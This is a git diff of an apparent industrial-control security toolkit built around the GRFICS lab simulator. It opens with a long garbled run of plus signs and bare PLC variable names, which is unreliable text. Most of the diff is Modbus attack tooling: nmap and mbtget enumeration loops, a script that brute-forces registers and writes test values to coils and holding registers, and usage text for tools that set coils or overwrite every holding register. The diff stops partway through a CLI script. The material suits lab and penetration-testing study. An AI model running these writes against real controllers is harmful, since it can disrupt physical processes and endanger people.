+ + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg b/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg new file mode 100644 index 0000000..c4103e8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg @@ -0,0 +1,115 @@ +Num_Devices = "6" + +# Device 0 +device0.name = "feed 1" +device0.protocol = "TCP" +device0.slave_id = "247" +device0.address = "192.168.95.10" +device0.IP_Port = "502" +device0.RTU_Baud_Rate = "" +device0.RTU_Parity = "" +device0.RTU_Data_Bits = "" +device0.RTU_Stop_Bits = "" +device0.Discrete_Inputs_Start = "0" +device0.Discrete_Inputs_Size = "0" +device0.Coils_Start = "0" +device0.Coils_Size = "0" +device0.Input_Registers_Start = "1" +device0.Input_Registers_Size = "2" +device0.Holding_Registers_Start = "1" +device0.Holding_Registers_Size = "1" + +# Device 1 +device1.name = "feed 2" +device1.protocol = "TCP" +device1.slave_id = "247" +device1.address = "192.168.95.11" +device1.IP_Port = "502" +device1.RTU_Baud_Rate = "" +device1.RTU_Parity = "" +device1.RTU_Data_Bits = "" +device1.RTU_Stop_Bits = "" +device1.Discrete_Inputs_Start = "0" +device1.Discrete_Inputs_Size = "0" +device1.Coils_Start = "0" +device1.Coils_Size = "0" +device1.Input_Registers_Start = "1" +device1.Input_Registers_Size = "2" +device1.Holding_Registers_Start = "1" +device1.Holding_Registers_Size = "1" + +# Device 2 +device2.name = "purge" +device2.protocol = "TCP" +device2.slave_id = "247" +device2.address = "192.168.95.12" +device2.IP_Port = "502" +device2.RTU_Baud_Rate = "" +device2.RTU_Parity = "" +device2.RTU_Data_Bits = "" +device2.RTU_Stop_Bits = "" +device2.Discrete_Inputs_Start = "0" +device2.Discrete_Inputs_Size = "0" +device2.Coils_Start = "0" +device2.Coils_Size = "0" +device2.Input_Registers_Start = "1" +device2.Input_Registers_Size = "2" +device2.Holding_Registers_Start = "1" +device2.Holding_Registers_Size = "1" + +# Device 3 +device3.name = "product" +device3.protocol = "TCP" +device3.slave_id = "247" +device3.address = "192.168.95.13" +device3.IP_Port = "502" +device3.RTU_Baud_Rate = "" +device3.RTU_Parity = "" +device3.RTU_Data_Bits = "" +device3.RTU_Stop_Bits = "" +device3.Discrete_Inputs_Start = "0" +device3.Discrete_Inputs_Size = "0" +device3.Coils_Start = "0" +device3.Coils_Size = "0" +device3.Input_Registers_Start = "1" +device3.Input_Registers_Size = "2" +device3.Holding_Registers_Start = "1" +device3.Holding_Registers_Size = "1" + +# Device 4 +device4.name = "tank" +device4.protocol = "TCP" +device4.slave_id = "247" +device4.address = "192.168.95.14" +device4.IP_Port = "502" +device4.RTU_Baud_Rate = "" +device4.RTU_Parity = "" +device4.RTU_Data_Bits = "" +device4.RTU_Stop_Bits = "" +device4.Discrete_Inputs_Start = "0" +device4.Discrete_Inputs_Size = "0" +device4.Coils_Start = "0" +device4.Coils_Size = "0" +device4.Input_Registers_Start = "1" +device4.Input_Registers_Size = "2" +device4.Holding_Registers_Start = "0" +device4.Holding_Registers_Size = "0" + +# Device 5 +device5.name = "analyzer" +device5.protocol = "TCP" +device5.slave_id = "247" +device5.address = "192.168.95.15" +device5.IP_Port = "502" +device5.RTU_Baud_Rate = "" +device5.RTU_Parity = "" +device5.RTU_Data_Bits = "" +device5.RTU_Stop_Bits = "" +device5.Discrete_Inputs_Start = "0" +device5.Discrete_Inputs_Size = "0" +device5.Coils_Start = "0" +device5.Coils_Size = "0" +device5.Input_Registers_Start = "1" +device5.Input_Registers_Size = "3" +device5.Holding_Registers_Start = "0" +device5.Holding_Registers_Size = "0" diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds 